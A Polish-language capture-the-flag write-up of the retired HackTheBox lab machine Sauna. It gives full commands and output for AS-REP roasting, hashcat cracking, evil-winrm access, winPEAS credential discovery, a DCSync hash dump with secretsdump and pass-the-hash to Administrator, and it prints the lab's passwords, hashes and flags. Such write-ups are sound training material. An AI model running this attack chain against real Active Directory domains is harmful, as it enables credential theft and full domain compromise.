Writeup: Maszyna HackTheBox Sauna

Uwaga: Zgodnie z polityką HTB dozwolone jest publikowanie rozwiązań wyłącznie wycofanych maszyn. Maszyna opisana w tym artykule - Sauna - spełnia ten warunek.

Machine Info

1. TLDR

Sauna graph

2. Przygotowanie

Przygotowałem przydatne zmienne:

export IP=10.10.10.175

3. Skanowanie i rozpoznanie

Na początek użyłem narzędzia nmap do identyfikacji otwartych portów:

t4wny0wl@whitehatlab$ nmap -A -p- $IP -T3 -oN 01.nmap.txt
Starting Nmap 7.80 ( https://nmap.org ) at 2020-06-27 01:19 CDT
Stats: 0:04:00 elapsed; 0 hosts completed (1 up), 1 undergoing Service Scan
Service scan Timing: About 94.74% done; ETC: 01:23 (0:00:04 remaining)
Nmap scan report for 10.10.10.175
Host is up (0.036s latency).
Not shown: 65516 filtered ports
PORT      STATE SERVICE       VERSION
53/tcp    open  domain?
| fingerprint-strings: 
|   DNSVersionBindReqTCP: 
|     version
|_    bind
80/tcp    open  http          Microsoft IIS httpd 10.0
| http-methods: 
|_  Potentially risky methods: TRACE
|_http-server-header: Microsoft-IIS/10.0
|_http-title: Egotistical Bank :: Home
88/tcp    open  kerberos-sec  Microsoft Windows Kerberos (server time: 2020-06-27 13:26:46Z)
135/tcp   open  msrpc         Microsoft Windows RPC
139/tcp   open  netbios-ssn   Microsoft Windows netbios-ssn
389/tcp   open  ldap          Microsoft Windows Active Directory LDAP (Domain: EGOTISTICAL-BANK.LOCAL0., Site: Default-First-Site-Name)
445/tcp   open  microsoft-ds?
464/tcp   open  kpasswd5?
593/tcp   open  ncacn_http    Microsoft Windows RPC over HTTP 1.0
636/tcp   open  tcpwrapped
3268/tcp  open  ldap          Microsoft Windows Active Directory LDAP (Domain: EGOTISTICAL-BANK.LOCAL0., Site: Default-First-Site-Name)
3269/tcp  open  tcpwrapped
5985/tcp  open  http          Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
9389/tcp  open  mc-nmf        .NET Message Framing
49667/tcp open  msrpc         Microsoft Windows RPC
49674/tcp open  ncacn_http    Microsoft Windows RPC over HTTP 1.0
49675/tcp open  msrpc         Microsoft Windows RPC
49686/tcp open  msrpc         Microsoft Windows RPC
49696/tcp open  msrpc         Microsoft Windows RPC
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
SF-Port53-TCP:V=7.80%I=7%D=6/27%Time=5EF6E595%P=x86_64-pc-linux-gnu%r(DNSV
SF:ersionBindReqTCP,20,"\0\x1e\0\x06\x81\x04\0\x01\0\0\0\0\0\0\x07version\
SF:x04bind\0\0\x10\0\x03");
Service Info: Host: SAUNA; OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
|_clock-skew: 7h04m37s
| smb2-security-mode: 
|   2.02: 
|_    Message signing enabled and required
| smb2-time: 
|   date: 2020-06-27T13:29:04
|_  start_date: N/A

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 449.64 seconds

W międzyczasie spróbowałem użyć przeglądarki i przetestować istnienie serwera HTTP. Na maszynie była hostowana strona banku Egotistical:

Egotistical Bank Webpage

Szybki przegląd źródła strony w celu ujawnienia pozostawionych przydatnych komentarzy był bezskuteczny. Uruchomiłem więc narzedzie gobuster oraz nikto.

t4wny0wl@whitehatlab$ gobuster dir -u $IP -w /usr/share/dirbuster/wordlists/directory-list-2.3-medium.txt | tee 02.gobuster.txt
===============================================================
Gobuster v3.0.1
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@_FireFart_)
===============================================================
[+] Url:            http://10.10.10.175
[+] Threads:        10
[+] Wordlist:       /usr/share/dirbuster/wordlists/directory-list-2.3-medium.txt
[+] Status codes:   200,204,301,302,307,401,403
[+] User Agent:     gobuster/3.0.1
[+] Timeout:        10s
===============================================================
2020/06/27 01:45:46 Starting gobuster
===============================================================
/images (Status: 301)
/Images (Status: 301)
/css (Status: 301)
/fonts (Status: 301)
/IMAGES (Status: 301)
/Fonts (Status: 301)
/CSS (Status: 301)
===============================================================
2020/06/27 02:13:19 Finished
===============================================================
t4wny0wl@whitehatlab$ nikto -h $IP -nossl | tee 03.nikto.txt
- Nikto v2.1.6
---------------------------------------------------------------------------
+ Target IP:          10.10.10.175
+ Target Hostname:    10.10.10.175
+ Target Port:        80
+ Start Time:         2020-06-27 03:48:54 (GMT-5)
---------------------------------------------------------------------------
+ Server: Microsoft-IIS/10.0
+ The anti-clickjacking X-Frame-Options header is not present.
+ The X-XSS-Protection header is not defined. This header can hint to the user agent to protect against some forms of XSS
+ The X-Content-Type-Options header is not set. This could allow the user agent to render the content of the site in a different fashion to the MIME type
+ No CGI Directories found (use '-C all' to force check all possible dirs)
+ Allowed HTTP Methods: OPTIONS, TRACE, GET, HEAD, POST 
+ Public HTTP Methods: OPTIONS, TRACE, GET, HEAD, POST 
+ 7863 requests: 0 error(s) and 5 item(s) reported on remote host
+ End Time:           2020-06-27 03:54:41 (GMT-5) (347 seconds)
---------------------------------------------------------------------------
+ 1 host(s) tested

W międzyczasie dostałem wyniki ze skanowania portów nmapem. Poniżej te, które przykuły moją uwagę:

4. Uzyskanie i utrzymanie dostępu

Na stronie http://10.10.10.175/about.html znalazłem informację o pracownikach banku.

Egotistical Bank Workers

Ręcznie zbudowałem krótką listę znanych mi pracowników…

Fergus Smith
Shaun Coins
Hugo Bear
Bowie Taylor
Sophie Driver
Steven Kerb

… i napisałem narzędzie Enterprise usernames wordlist generator, które pozwoliło mi na wygenerowanie słownika możliwych nazw użytkowników. Wygenerowałem zatem słownik:

t4wny0wl@whitehatlab$ /opt/entusergenerator/entusergenerator.py -i users.txt -l > usernames.txt

Następnie uruchomiłem jeszcze raz narzędzie GetNPUsers podając tym razem listę nazw użytkowników:

t4wny0wl@whitehatlab$ GetNPUsers.py EGOTISTICAL-BANK.LOCAL/ -dc-ip $IP -usersfile usernames.txt -format hashcat -output kerberos_hashes.txt

Po uruchomieniu GetNPUsers.py na standardowym wyjściu pojawiło się wiele błędów…

[-] Kerberos SessionError: KDC_ERR_C_PRINCIPAL_UNKNOWN(Client not found in Kerberos database)

…ale w pliku kerberos_hashes.txt zapisał się ticket TGT dla użytkownika fsmith@EGOTISTICAL-BANK.LOCAL

t4wny0wl@whitehatlab$ cat kerberos_hashes.txt 
$krb5asrep$23$fsmith@EGOTISTICAL-BANK.LOCAL:993deeb7c9f5255921e86b8699e1382b$20
8fa2cac38eb164e61e9fae85b8de2869800e3e5ca10850540e17b219eb6379f10efb1b98d8ff9ea
6dd3dd793cd2c1e10479068f1228333cb9aff74d2dc78c998be133b388a8e05862879ded9e94d91
0d9918553c5f3b4ee5d637369ce3f528a9af5807afc2f6c6620482288067657d751a01fba6b61b4
c6ba43f089160097bdb16fcac5d008a52ce62f5267b4dd33a53bdbccac436c9f2e327fc9af805bf
7bf301e769fb5da34281b471daa7b71101ae3e5481d6c556b126c38dfa945eb1fe3244c22e1d704
f21f6c9473a48cf10169e3d3ac0539fbd312b66d49f805786855caed076ca5b600264428748bb04
d8fad51931055abae6e3c1b72cfcde1dd776

Mając w rękach TGT, uruchomiłem hashcata:

t4wny0wl@whitehatlab$ hashcat -m 18200 -a 0 kerberos_hashes.txt /usr/share/wordlists/rockyou.txt

i po krótkim czasie dostałem wynik:

$krb5asrep$23$fsmith@EGOTISTICAL-BANK.LOCAL:993deeb7c9f5255921e86b8699e1382b$20
8fa2cac38eb164e61e9fae85b8de2869800e3e5ca10850540e17b219eb6379f10efb1b98d8ff9ea
6dd3dd793cd2c1e10479068f1228333cb9aff74d2dc78c998be133b388a8e05862879ded9e94d91
0d9918553c5f3b4ee5d637369ce3f528a9af5807afc2f6c6620482288067657d751a01fba6b61b4
c6ba43f089160097bdb16fcac5d008a52ce62f5267b4dd33a53bdbccac436c9f2e327fc9af805bf
7bf301e769fb5da34281b471daa7b71101ae3e5481d6c556b126c38dfa945eb1fe3244c22e1d704
f21f6c9473a48cf10169e3d3ac0539fbd312b66d49f805786855caed076ca5b600264428748bb04
d8fad51931055abae6e3c1b72cfcde1dd776:Thestrokes23

Miałem zatem już pierwszy zestaw danych uwierzytelniających do konta użytkownika domeny fsmith@EGOTISTICAL-BANK.LOCAL:Thestrokes23

Połączyłem się do atakowanej maszyny za pomocą narzędzia evil-winrm:

t4wny0wl@whitehatlab$ evil-winrm -i $IP -u fsmith@EGOTISTICAL-BANK.LOCAL -p Thestrokes23 

Evil-WinRM shell v2.3

Info: Establishing connection to remote endpoint

*Evil-WinRM* PS C:\Users\FSmith\Documents>

Flagę znalazłem na pulpicie:

*Evil-WinRM* PS C:\Users\FSmith\Documents> cd ..\Desktop
*Evil-WinRM* PS C:\Users\FSmith\Desktop> dir


    Directory: C:\Users\FSmith\Desktop


Mode                LastWriteTime         Length Name
----                -------------         ------ ----
-a----        1/23/2020  10:03 AM             34 user.txt


*Evil-WinRM* PS C:\Users\FSmith\Desktop> type user.txt
1b5520b98d97cf17f24122a55baf70cf

5. Eskalacja uprawnień: fsmith ⇨ SVC_LOANMGR

Na początku zweryfikowałem czy na kontrolerze domeny jest uruchomiona usługa DNS:

t4wny0wl@whitehatlab$ dig @$IP SAUNA.EGOTISTICAL-BANK.LOCAL

; <<>> DiG 9.16.2-Debian <<>> @10.10.10.175 SAUNA.EGOTISTICAL-BANK.LOCAL
; (1 server found)
;; global options: +cmd
;; Got answer:
;; WARNING: .local is reserved for Multicast DNS
;; You are currently testing what happens when an mDNS query is leaked to DNS
;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 55637
;; flags: qr aa rd ra; QUERY: 1, ANSWER: 1, AUTHORITY: 0, ADDITIONAL: 1

;; OPT PSEUDOSECTION:
; EDNS: version: 0, flags:; udp: 4000
;; QUESTION SECTION:
;SAUNA.EGOTISTICAL-BANK.LOCAL.  IN      A

;; ANSWER SECTION:
SAUNA.EGOTISTICAL-BANK.LOCAL. 3600 IN   A       10.10.10.175

;; Query time: 44 msec
;; SERVER: 10.10.10.175#53(10.10.10.175)
;; WHEN: Sun Jun 28 15:15:46 CDT 2020
;; MSG SIZE  rcvd: 73

Znając dane uwierzytelniające użytkownika domeny, spróbowałem enumerować maszyny, domeny, grupy i użytkowników:

t4wny0wl@whitehatlab$ bloodhound-python -u fsmith -p Thestrokes23 -d EGOTISTICAL-BANK.LOCAL -dc SAUNA.EGOTISTICAL-BANK.LOCAL -ns $IP -c All,LoggedOn
INFO: Found AD domain: egotistical-bank.local
INFO: Connecting to LDAP server: SAUNA.EGOTISTICAL-BANK.LOCAL
INFO: Found 1 domains
INFO: Found 1 domains in the forest
INFO: Found 1 computers
INFO: Connecting to LDAP server: SAUNA.EGOTISTICAL-BANK.LOCAL
INFO: Found 6 users
INFO: Connecting to GC LDAP server: SAUNA.EGOTISTICAL-BANK.LOCAL
INFO: Found 51 groups
INFO: Found 0 trusts
INFO: Starting computer enumeration with 10 workers
INFO: Querying computer: SAUNA.EGOTISTICAL-BANK.LOCAL
INFO: Done in 00M 09S
t4wny0wl@whitehatlab$ ls -lah
total 116K
drwxr-xr-x 2 t4wny0wl t4wny0wl 4.0K Jun 28 15:25 .
drwxr-xr-x 4 t4wny0wl t4wny0wl 4.0K Jun 28 15:13 ..
-rw-r--r-- 1 t4wny0wl t4wny0wl 3.2K Jun 28 15:25 computers.json
-rw-r--r-- 1 t4wny0wl t4wny0wl 3.1K Jun 28 15:25 domains.json
-rw-r--r-- 1 t4wny0wl t4wny0wl  82K Jun 28 15:25 groups.json
-rw-r--r-- 1 t4wny0wl t4wny0wl  15K Jun 28 15:25 users.json

Uruchomiłem serwer neo4j…

sudo neo4j start

… oraz narzędzie BloodHound:

bloodhound --no-sandbox

W oknie BloodHound zaimportowałem pliki *.json (poprzez przeciągnięcie na obszar roboczy). Następnie uruchomiłem zapytanie Queries->Find Principals with DCSync Rights

Egotistical Bank Workers

Wygenerowany graf dostarczył niezwykle ważną informację: użytkownik SVC_LOANMGR@EGOTISTICAL-BANK.LOCAL posiada uprawnienie GetChangesAll do domeny. Pozwala to na pobranie wrażliwych danych, w szczególności skrótów NTLM haseł użytkowników.

Ale w jaki sposób udało mi się otrzymać uprawnienia użytkownika SVC_LOANMGR@EGOTISTICAL-BANK.LOCAL? Z pomocą przyszło narzędzie winPEAS:

t4wny0wl@whitehatlab$ cp /opt/privilege-escalation-awesome-scripts-suite/winPEAS/winPEASexe/winPEAS/bin/Obfuscated\ Releases/winPEASany.exe ./

Połączyłem się z kontrolerem domeny, przesłałem na niego plik wykonywalny winPEASany.exe, który ostatecznie uruchomiłem:

t4wny0wl@whitehatlab$ evil-winrm -i $IP -u fsmith@EGOTISTICAL-BANK.LOCAL -p Thestrokes23 

Evil-WinRM shell v2.3

Info: Establishing connection to remote endpoint

*Evil-WinRM* PS C:\Users\FSmith\Documents> cd ..\Downloads
*Evil-WinRM* PS C:\Users\FSmith\Downloads> upload winPEASany.exe
Info: Uploading winPEASany.exe to C:\Users\FSmith\Downloads\winPEASany.exe

                                                             
Data: 308564 bytes of 308564 bytes copied

Info: Upload successful!

*Evil-WinRM* PS C:\Users\FSmith\Downloads> .\winPEASany.exe

Na standardowym wyjściu znalazłem interesujący mnie fragment:

  [+] Looking for AutoLogon credentials(T1012)
    Some AutoLogon credentials were found!!
    DefaultDomainName             :  35mEGOTISTICALBANK
    DefaultUserName               :  35mEGOTISTICALBANK\svc_loanmanager
    DefaultPassword               :  Moneymakestheworldgoround!

Podobnieństwo nazw domen i użytkowników było bardzo wysokie: założyłem, że użytkownik SVC_LOANMGR@EGOTISTICAL-BANK.LOCAL będzie miał takie same hasło. Podjąłem więc próbę uwierzytelnienia:

t4wny0wl@whitehatlab$ evil-winrm -i $IP -u svc_loanmgr@EGOTISTICAL-BANK.LOCAL -p Moneymakestheworldgoround!

Evil-WinRM shell v2.3

Info: Establishing connection to remote endpoint

*Evil-WinRM* PS C:\Users\svc_loanmgr\Documents> whoami
egotisticalbank\svc_loanmgr
*Evil-WinRM* PS C:\Users\svc_loanmgr\Documents> exit

Info: Exiting with code 0

Pozostało więc wykraść skróty NTLM…

t4wny0wl@whitehatlab$ secretsdump.py -dc-ip $IP EGOTISTICAL-BANK.LOCAL/svc_loanmgr:Moneymakestheworldgoround\!@$IP | tee secretsdump
Impacket v0.9.21 - Copyright 2020 SecureAuth Corporation

[-] RemoteOperations failed: DCERPC Runtime Error: code: 0x5 - rpc_s_access_denied 
[*] Dumping Domain Credentials (domain\uid:rid:lmhash:nthash)
[*] Using the DRSUAPI method to get NTDS.DIT secrets
Administrator:500:aad3b435b51404eeaad3b435b51404ee:d9485863c1e9e05851aa40cbb4ab9dff:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
krbtgt:502:aad3b435b51404eeaad3b435b51404ee:4a8899428cad97676ff802229e466e2c:::
EGOTISTICAL-BANK.LOCAL\HSmith:1103:aad3b435b51404eeaad3b435b51404ee:58a52d36c84fb7f5f1beab9a201db1dd:::
EGOTISTICAL-BANK.LOCAL\FSmith:1105:aad3b435b51404eeaad3b435b51404ee:58a52d36c84fb7f5f1beab9a201db1dd:::
EGOTISTICAL-BANK.LOCAL\svc_loanmgr:1108:aad3b435b51404eeaad3b435b51404ee:9cb31797c39a9b170b04058ba2bba48c:::
SAUNA$:1000:aad3b435b51404eeaad3b435b51404ee:91f2cae0ec7358a9044180ef9170d476:::
[*] Kerberos keys grabbed
Administrator:aes256-cts-hmac-sha1-96:987e26bb845e57df4c7301753f6cb53fcf993e1af692d08fd07de74f041bf031
Administrator:aes128-cts-hmac-sha1-96:145e4d0e4a6600b7ec0ece74997651d0
Administrator:des-cbc-md5:19d5f15d689b1ce5
krbtgt:aes256-cts-hmac-sha1-96:83c18194bf8bd3949d4d0d94584b868b9d5f2a54d3d6f3012fe0921585519f24
krbtgt:aes128-cts-hmac-sha1-96:c824894df4c4c621394c079b42032fa9
krbtgt:des-cbc-md5:c170d5dc3edfc1d9
EGOTISTICAL-BANK.LOCAL\HSmith:aes256-cts-hmac-sha1-96:5875ff00ac5e82869de5143417dc51e2a7acefae665f50ed840a112f15963324
EGOTISTICAL-BANK.LOCAL\HSmith:aes128-cts-hmac-sha1-96:909929b037d273e6a8828c362faa59e9
EGOTISTICAL-BANK.LOCAL\HSmith:des-cbc-md5:1c73b99168d3f8c7
EGOTISTICAL-BANK.LOCAL\FSmith:aes256-cts-hmac-sha1-96:8bb69cf20ac8e4dddb4b8065d6d622ec805848922026586878422af67ebd61e2
EGOTISTICAL-BANK.LOCAL\FSmith:aes128-cts-hmac-sha1-96:6c6b07440ed43f8d15e671846d5b843b
EGOTISTICAL-BANK.LOCAL\FSmith:des-cbc-md5:b50e02ab0d85f76b
EGOTISTICAL-BANK.LOCAL\svc_loanmgr:aes256-cts-hmac-sha1-96:6f7fd4e71acd990a534bf98df1cb8be43cb476b00a8b4495e2538cff2efaacba
EGOTISTICAL-BANK.LOCAL\svc_loanmgr:aes128-cts-hmac-sha1-96:8ea32a31a1e22cb272870d79ca6d972c
EGOTISTICAL-BANK.LOCAL\svc_loanmgr:des-cbc-md5:2a896d16c28cf4a2
SAUNA$:aes256-cts-hmac-sha1-96:d7d47be5c7387e4baf50fa60ed8aa39e94c27b5cf0c23ec819ecf256d94b8688
SAUNA$:aes128-cts-hmac-sha1-96:4af4c7052a4fc1019a78797f1beee7a8
SAUNA$:des-cbc-md5:dca13e758a1a58e3
[*] Cleaning up... 

…i uwierzytelnić się jako administrator@EGOTISTICAL-BANK.LOCAL

t4wny0wl@whitehatlab$ evil-winrm -i $IP -u administrator@EGOTISTICAL-BANK.LOCAL -H d9485863c1e9e05851aa40cbb4ab9dff

Evil-WinRM shell v2.3

Info: Establishing connection to remote endpoint

*Evil-WinRM* PS C:\Users\Administrator\Documents> cd ../Desktop
*Evil-WinRM* PS C:\Users\Administrator\Desktop> type root.txt
f3ee04965c68257382e31502cc5e881f

6. Podsumowanie

Do zdobycia flag doprowadziły poniższe okoliczności:

UF_DONT_REQUIRE_PREAUTH

GetChangesAll